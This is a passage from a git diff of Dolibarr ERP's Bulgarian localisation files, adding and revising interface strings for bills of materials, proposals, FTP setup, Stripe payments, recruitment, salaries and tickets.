      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=Модули за номериране на списъци с материали @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Сигурни ли сте, че искате да клонирате поръчката за производство %s? ManufacturingEfficiency=Производствена ефективност ConsumptionEfficiency=Потребляема ефективност +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Стойност 0,95 означава средно 5%% загуба от произведен продукт DeleteBillOfMaterials=Изтриване на списък с материали @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Сигурни ли сте, че искате да валидирате тази поръчка за производство? ConfirmProductionDesc=С кликване върху '%s' ще потвърдите потреблението и / или производството за определените количества. Това също така ще актуализира наличностите и ще регистрира движението им. ProductionForRef=Производство на %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Автоматично приключване на поръчка за производство при достигнати количества за потребление и производство NoStockChangeOnServices=Без променяне на наличности за услуги ProductQtyToConsumeByMO=Количество продукт, което да се използва от активна ПП @@ -80,6 +83,7 @@ ProductsToProduce=Продукти за производство UnitCost=Единична цена TotalCost=Обща цена BOMTotalCost=Разходите за производство на този списък с материали въз основа на разходите за всяко количество и продукт, които ще се използват (използвайте себестойност, ако е дефинирана, иначе средно претеглена цена, ако е определена, или най-добра покупна цена). +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/bg_BG/other.lang b/htdocs/langs/bg_BG/other.lang index 2b82bd98036..6d662b2558f 100644 --- a/htdocs/langs/bg_BG/other.lang +++ b/htdocs/langs/bg_BG/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Поръчката за покупка е одоб Notify_ORDER_SUPPLIER_REFUSE=Поръчката за покупка е отхвърлена Notify_PROPAL_VALIDATE=Търговското предложение е валидирано Notify_PROPAL_CLOSE_SIGNED=Търговското предложение е подписано +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Търговското предложение е отхвърлено +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Търговското предложение е изпратено на имейл Notify_WITHDRAW_TRANSMIT=Оттегляне на изпращане Notify_WITHDRAW_CREDIT=Оттегляне на кредит @@ -181,6 +183,7 @@ SizeUnitfoot=фут SizeUnitpoint=точка BugTracker=Регистър на бъгове SendNewPasswordDesc=Този формуляр позволява да заявите нова парола. Тя ще бъде изпратена на вашият имейл адрес.
      Промяната ще влезе в сила след като кликнете върху връзката за потвърждение в имейла.
      Проверете си пощата. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Назад към страницата за вход AuthenticationDoesNotAllowSendNewPassword=Режимът за удостоверяване е %s.
      В този режим, системата не може да знае, нито да промени паролата ви.
      Свържете се с вашият системен администратор, ако искате да промените паролата си. EnableGDLibraryDesc=Инсталирайте или активирайте GD библиотеката на вашата PHP инсталация, за да използвате тази опция. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Фактура %s е валидирана. EMailTextInvoicePayed=Фактура %s е платена. EMailTextProposalValidated=Търговско предложение %s е валидирано. EMailTextProposalClosedSigned=Търговско предложение %s е подписано. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Поръчка %s е валидирана. EMailTextOrderApproved=Поръчка %s е одобрена. EMailTextOrderValidatedBy=Поръчка %s е валидирана от %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Приключване Autofill = Autofill + +# externalsite +ExternalSiteSetup=Настройка на линк към външен сайт +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Модула Външен сайт не е конфигуриран правилно. +ExampleMyMenuEntry=Мой елемент на меню + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Неуспешно премахване на файл %s. +FTPFailedToRemoveDir=Неуспешно премахване на директория %s: проверете правата и дали директорията е празна. +FTPPassiveMode=Пасивен режим +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Неуспешно получаване на файлове %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/bg_BG/products.lang b/htdocs/langs/bg_BG/products.lang index 448a69e3fb0..865451cf3ea 100644 --- a/htdocs/langs/bg_BG/products.lang +++ b/htdocs/langs/bg_BG/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Сигурни ли сте, че искате да из ProductSpecial=Специален QtyMin=Минимално количество за покупка PriceQtyMin=Минимална цена за количество -PriceQtyMinCurrency=Цена (във валута) за това количество (без отстъпка) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=Ставка на ДДС (за този доставчик / продукт) DiscountQtyMin=Отстъпка за това количество NoPriceDefinedForThisSupplier=Няма дефинирана цена / количество за този доставчик / продукт @@ -261,7 +262,7 @@ Quarter1=Първо тримесечие Quarter2=Второ тримесечие Quarter3=Трето тримесечие Quarter4=Четвърто тримесечие -BarCodePrintsheet=Отпечатване на баркод +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=С този инструмент може да отпечатвате стикери с баркод . Изберете формат на страницата със стикери, вида на баркода и неговата стойност, след което кликнете върху бутона %s. NumberOfStickers=Брой стикери за отпечатване на страница PrintsheetForOneBarCode=Отпечатване на няколко стикера за един баркод @@ -344,9 +345,9 @@ PossibleValues=Възможни стойности GoOnMenuToCreateVairants=Отидете в менюто %s - %s, за да подготвите атрибутите на варианта (като цветове, размер, ...) UseProductFournDesc=Add a feature to define the product description defined by the vendors (for each vendor reference) in addition to the description for customers ProductSupplierDescription=Описание на продукта от доставчик -UseProductSupplierPackaging=Използване на пакетиране по цени на доставчик (преизчислява количествата според пакетирането, определено чрез доставната цена, когато добавяте / актуализирате ред в документите на доставчика) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Пакетиране -PackagingForThisProductDesc=On supplier order, you will automaticly order this quantity (or a multiple of this quantity). Cannot be less than minimum buying quantity +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Количеството за реда е преизчислено според пакетирането на доставчика #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Действието е достъпно с ProductsPricePerCustomer=Цени на продукта в зависимост от клиента ProductSupplierExtraFields=Допълнителни атрибути (цени на доставчици) DeleteLinkedProduct=Изтриване на подпродукт, свързан с комбинацията -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Средно измерена цена PMPValueShort=СИЦ mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/bg_BG/projects.lang b/htdocs/langs/bg_BG/projects.lang index c8da54cf865..357a2edf3b4 100644 --- a/htdocs/langs/bg_BG/projects.lang +++ b/htdocs/langs/bg_BG/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Този страница показва всички проек TasksDesc=Този страница показва всички проекти и задачи (вашите потребителски права ви дават разрешение да виждате всичко). AllTaskVisibleButEditIfYouAreAssigned=Всички задачи за определените проекти са видими, но може да въведете време само за задача, възложена на избрания потребител. Възложете задача, ако е необходимо да въведете отделено време за нея. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Задачи по проекти ProjectCategories=Тагове / Категории на проекти NewProject=Нов проект @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Размер на възможностит OpportunitiesStatusForProjects=Размер на възможностите от проекти по статус ShowProject=Показване на проект ShowTask=Показване на задача +SetThirdParty=Set third party SetProject=Определете проект +OutOfProject=Out of project NoProject=Няма дефиниран или притежаван проект NbOfProjects=Брой проекти NbOfTasks=Брой задачи @@ -122,7 +125,8 @@ ValidateProject=Валидиране на проект ConfirmValidateProject=Сигурни ли сте, че искате да валидирате този проект? CloseAProject=Приключване на проект ConfirmCloseAProject=Сигурни ли сте, че искате да приключите този проект? -AlsoCloseAProject=Приключване на проект (задръжте го активен, ако все още трябва да работите по задачите в него) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Отваряне на проект ConfirmReOpenAProject=Сигурни ли сте, че искате да отворите повторно този проект? ProjectContact=Контакти / Участници @@ -165,7 +169,7 @@ OpportunityProbability=Вероятност за възможността OpportunityProbabilityShort=Вероятност OpportunityAmount=Сума на възможността OpportunityAmountShort=Сума -OpportunityWeightedAmount=Изчислена сума на възможността +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Изч. сума на възможността OpportunityAmountAverageShort=Средна сума на възможността OpportunityAmountWeigthedShort=Изчислена сума на възможността @@ -238,7 +242,7 @@ OppStatusPENDING=Изчакване OppStatusWON=Спечелен OppStatusLOST=Загубен Budget=Бюджет -AllowToLinkFromOtherCompany=Позволяване на свързването на проект от друга контрагент

      Поддържани стойности:
      - Оставете празно: Може да свържете всеки проект на контрагента (по подразбиране)
      - 'all': Може да свържете всеки проект, дори проекти на други контрагенти
      - Списък на идентификатори на контрагенти, разделени със запетая: Може да свържете всички проекти на тези контрагенти (Пример: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Проекти: %s последни LatestModifiedProjects=Проекти: %s последно променени OtherFilteredTasks=Други филтрирани задачи @@ -259,7 +263,7 @@ TimeSpentInvoiced=Фактурирано отделено време TimeSpentForIntervention=Отделено време TimeSpentForInvoice=Отделено време OneLinePerUser=Един ред на потребител -ServiceToUseOnLines=Услуга за използване по редовете +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Фактура %s е генерирана въз основа на отделеното време по проекта InterventionGeneratedFromTimeSpent=Intervention %s has been generated from time spent on project ProjectBillTimeDescription=Маркирайте, ако въвеждате график на задачите в проекта и планирате да генерирате фактура(и) за клиента от графика на задачите в проекта (не маркирайте, ако планирате да създадете фактура, която не се основава на въведеният график на задачите). Забележка: За да генерирате фактура, отидете в раздела "Отделено време" на проекта и изберете редовете, които да включите. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Profit is calculated using AddPersonToTask=Add also to tasks UsageOrganizeEvent=Usage: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classify project as closed when all its tasks are completed (100%% progress) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks at 100 %% progress won't be affected: you will have to close them manually. This option only affects open projects. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Select lines of time spent that are unbilled, then bulk action "Generate Invoice" to bill them ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. @@ -294,3 +298,4 @@ EnablePublicLeadForm=Enable the public form for contact NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. NewLeadForm=New contact form LeadFromPublicForm=Online lead from public form +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/bg_BG/propal.lang b/htdocs/langs/bg_BG/propal.lang index 97509397a2a..84d70a14eb0 100644 --- a/htdocs/langs/bg_BG/propal.lang +++ b/htdocs/langs/bg_BG/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Няма чернови на предложения CopyPropalFrom=Създаване на търговско предложение, чрез копиране на съществуващо предложение CreateEmptyPropal=Създаване на празно търговско предложение или списък с продукти / услуги DefaultProposalDurationValidity=Срок на валидност по подразбиране за търговско предложение (в дни) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Използване тип на контакт / адрес 'Представител проследяващ предложението', ако е определен, вместо адрес на контрагента като адрес на получателя на предложението ConfirmClonePropal=Сигурни ли сте, че искате да клонирате това търговско предложение с № %s? ConfirmReOpenProp=Сигурни ли сте, че искате да отворите отново търговско предложение с № %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Забавяне на наличността SetAvailability=Определете забавяне на наличност AfterOrder=след поръчка OtherProposals=Други предложения + ##### Availability ##### AvailabilityTypeAV_NOW=Незабавно AvailabilityTypeAV_1W=1 седмица AvailabilityTypeAV_2W=2 седмици AvailabilityTypeAV_3W=3 седмици AvailabilityTypeAV_1M=1 месец -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Изготвил предложение TypeContact_propal_external_BILLING=Получател на фактура TypeContact_propal_external_CUSTOMER=Получател на предложение TypeContact_propal_external_SHIPPING=Получател на доставка + # Document models -DocModelAzurDescription=Пълен шаблон на предложение (стара реализация на шаблон Cyan) -DocModelCyanDescription=Пълен модел на предложение +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Случай, проследяван от +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Шаблон по подразбиране, когато се приключва търговско предложение (не таксувано) DefaultModelPropalCreate=Създаване на шаблон по подразбиране DefaultModelPropalToBill=Шаблон по подразбиране, когато се приключва търговско предложение (за да бъде фактурирано) -DefaultModelPropalClosed=Шаблон по подразбиране, когато се приключва търговско предложение (не таксувано) +DocModelAzurDescription=Пълен шаблон на предложение (стара реализация на шаблон Cyan) +DocModelCyanDescription=Пълен модел на предложение +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Отхвърляне +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Име, фамилия, фирмен печат, дата и подпис ProposalsStatisticsSuppliers=Статистика на запитвания към доставчици -CaseFollowedBy=Случай, проследяван от -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/bg_BG/recruitment.lang b/htdocs/langs/bg_BG/recruitment.lang index 8ae43b3daff..69e568eac35 100644 --- a/htdocs/langs/bg_BG/recruitment.lang +++ b/htdocs/langs/bg_BG/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Заплата +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/bg_BG/salaries.lang b/htdocs/langs/bg_BG/salaries.lang index 8fba65c3c03..2a75ac11806 100644 --- a/htdocs/langs/bg_BG/salaries.lang +++ b/htdocs/langs/bg_BG/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Счетоводна сметка, използвана за служители на контрагенти -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Специализираната счетоводна сметка, дефинирана в картата на потребителя, ще се използва само за вторично счетоводно отчитане. Тя ще бъде използвана в регистъра на главната счетоводна книга и като стойност по подразбиране за вторично счетоводно отчитане, ако не е дефинирана специализирана потребителска счетоводна сметка за потребителя. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Счетоводна сметка по подразбиране за плащане на заплати CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Заплата @@ -24,3 +24,4 @@ SalariesStatistics=Статистика на заплати SalariesAndPayments=Заплати и плащания ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/bg_BG/stripe.lang b/htdocs/langs/bg_BG/stripe.lang index c3902716951..00f338b7ed7 100644 --- a/htdocs/langs/bg_BG/stripe.lang +++ b/htdocs/langs/bg_BG/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Работен Webhook ключ ONLINE_PAYMENT_WAREHOUSE=Склад, който да се използва за намаляване на наличности, когато се извършва онлайн плащане
      (Да се направи, когато възможността за намаляване на наличности се извършва при действие върху фактура и онлайн плащането генерира фактурата?) StripeLiveEnabled=Активиран е работен режим на Stripe (в противен случай тестов режим / пясъчник) StripeImportPayment=Импортиране на Stripe плащания -ExampleOfTestCreditCard=Пример с кредитна карта за тест: %s => валидна, %s => грешка в CVC, %s => изтекла, %s => неуспешно таксуване +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe шлюзове OAUTH_STRIPE_TEST_ID=Тестов Stripe Connect Client ID (ca_...) OAUTH_STRIPE_LIVE_ID=Реален Stripe Connect Client ID (ca_...) @@ -61,6 +62,7 @@ DeleteACard=Изтриване на карта ConfirmDeleteCard=Сигурни ли сте, че искате да изтриете тази кредитна или дебитна карта? CreateCustomerOnStripe=Създаване на клиент в Stripe CreateCardOnStripe=Създаване на карта в Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Показване в Stripe StripeUserAccountForActions=Потребителски акаунт, който да се използва за известяване по имейл при някои Stripe събития (Stripe изплащания) StripePayoutList=Списък със Stripe изплащания @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Връзка към настройка на Stripe We PaymentWillBeRecordedForNextPeriod=Плащането ще бъде регистрирано за следващия период. ClickHereToTryAgain=Кликнете тук, за да опитате отново ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Due to Strong Customer Authentication rules, creation of a card must be done from Stripe backoffice. You can click here to switch on Stripe customer record: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/bg_BG/ticket.lang b/htdocs/langs/bg_BG/ticket.lang index b3e2d54fa24..be19f01c898 100644 --- a/htdocs/langs/bg_BG/ticket.lang +++ b/htdocs/langs/bg_BG/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Промяна на тикети Permission56003=Изтриване на тикети Permission56004=Управление на тикети Permission56005=Преглед на тикети от всички контрагенти (не е приложимо за външни потребители, винаги ще бъдат ограничени до контрагента от който зависят) +Permission56006=Export tickets +Tickets=Тикети TicketDictType=Тикет - Видове TicketDictCategory=Тикет - Групи TicketDictSeverity=Тикет - Приоритети @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Сътрудник от страна н OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Изпращане на тикет съобщението по имейл +ExportDataset_ticket_1=Тикети + # Status Read=Прочетен Assigned=Възложен @@ -90,8 +94,8 @@ TicketPublicAccess=Публичен интерфейс, който не изис TicketSetupDictionaries=Видът на тикета, приоритетът и категорията се конфигурират от речници TicketParamModule=Настройка на променливите в модула TicketParamMail=Настройка за имейл известяване -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Текстово съобщение, изпратено след създаване на тикет @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Текстът, посочен тук, ще бъде вк TicketParamPublicInterface=Настройка на публичен интерфейс TicketsEmailMustExist=Изисква съществуващ имейл адрес, за да се създаде тикет TicketsEmailMustExistHelp=За да се създаде нов тикет през публичния интерфейс имейл адресът трябва да съществува в базата данни +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Публичен интерфейс TicketUrlPublicInterfaceLabelAdmin=Алтернативен URL адрес за публичния интерфейс TicketUrlPublicInterfaceHelpAdmin=Възможно е да се дефинира псевдоним на уеб сървъра и по този начин да се предостави достъп до публичния интерфейс от друг URL адрес (сървърът трябва да действа като прокси сървър за този нов URL адрес) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=Тикетът е възложен TicketChangeType=Променяне на вида TicketChangeCategory=Променяне на категория TicketChangeSeverity=Променяне на приоритет -TicketAddMessage=Добавяне на съобщение -AddMessage=Добавяне на съобщение +TicketAddMessage=Add private message MessageSuccessfullyAdded=Тикетът е добавен TicketMessageSuccessfullyAdded=Съобщението е успешно добавено TicketMessagesList=Списък със съобщения @@ -202,8 +209,8 @@ TicketSeverity=Приоритет ShowTicket=Преглед на тикет RelatedTickets=Свързани тикети TicketAddIntervention=Създаване на интервенция -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Потвърдете приключването на тикета ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Изпращане на съобщение по имейл TicketNewMessage=Ново съобщение ErrorMailRecipientIsEmptyForSendTicketMessage=Полето за получател е празно, не беше изпратен имейл. TicketGoIntoContactTab=Моля отидете в раздел "Контакти" откъдето може да изберете -TicketMessageMailIntro=Въведение +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Този текст се добавя само в началото на имейла и няма да бъде запазен. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Подпис -TicketMessageMailSignatureHelp=Този текст се добавя само в края на имейла и няма да бъде запазен. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Подпис в отговора към имейла -TicketMessageMailSignatureHelpAdmin=Този текст ще бъде вмъкнат след съобщението за отговор. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Този текст ще бъде вмъкнат след съобщението за отговор. TicketMessageHelp=Само този текст ще бъде запазен в списъка със съобщения към тикета. TicketMessageSubstitutionReplacedByGenericValues=Заместващите променливи се заменят с общи стойности. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Изминало време TicketTimeToRead=Изминало време преди прочитане TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Ново съобщение беше TicketAssignedToYou=Тикетът ви е възложен TicketAssignedEmailBody=Беше ви възложен тикет с проследяващ код %s от %s MarkMessageAsPrivate=Маркиране на съобщението като лично +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Това съобщение няма да се показва на външни потребители TicketEmailOriginIssuer=Контакт на контрагента проследяващ тикета InitialMessage=Първоначално съобщение @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Може да следите напре TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Моля, не отговаряйте директно на този имейл! Използвайте връзката, за да отговорите, чрез интерфейса. TicketPublicInfoCreateTicket=Тази форма позволява да регистрирате тикет в системата за управление и обслужване на запитвания. -TicketPublicPleaseBeAccuratelyDescribe=Моля, 